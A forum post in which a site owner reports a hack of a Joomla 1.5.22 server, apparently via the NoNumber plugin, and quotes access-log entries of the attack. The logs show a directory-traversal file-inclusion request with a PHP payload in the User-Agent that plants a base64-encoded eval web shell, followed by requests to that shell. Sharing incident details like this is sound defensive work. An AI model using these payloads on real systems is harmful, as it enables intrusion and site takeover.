Had me server hacked last week. Joomla 1.5.22. Seems to have been the NoNumber plugin that opened the door in my case too...
From the access.logs (IP of attacker and my domain hidden)
Code: Select all
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:28 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2fproc/self/environ%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:29 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:30 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:31 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:32 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:33 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ%00.inc.php HTTP/1.1" 200 3926 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:36 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2fproc/self/fd/8%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:38 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/fd/8%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:39 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/fd/8%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:40 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/fd/8%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:41 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/fd/8%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:43 +0100] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/fd/8%00.inc.php HTTP/1.1" 200 2743 "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:44 +0100] "POST /tmp/j.php HTTP/1.1" 200 9 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:45 +0100] "POST /tmp/j.php HTTP/1.1" 200 - "-" "Mozilla/4.0 (Linux; Windows NT 5.0; ja; rv:2)" www.mydomain.ie
XXX.XXX.XXX.XXX - - [03/Apr/2012:22:44:47 +0100] "GET /tmp/jos_almi.php HTTP/1.1" 200 56803 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2a1pre) Gecko/20090403 Firefox/3.6a1pre" www.mydomain.ie
So basically it placed a
j.php file in the
tmp folder and then a
jos_almi.php file and from these created or overwrote a
.htaccess file in every first level directory.
I've updated all sites to 1.5.26 but I think I will not use NoNumber in future (it was only for Admin Bar Docker).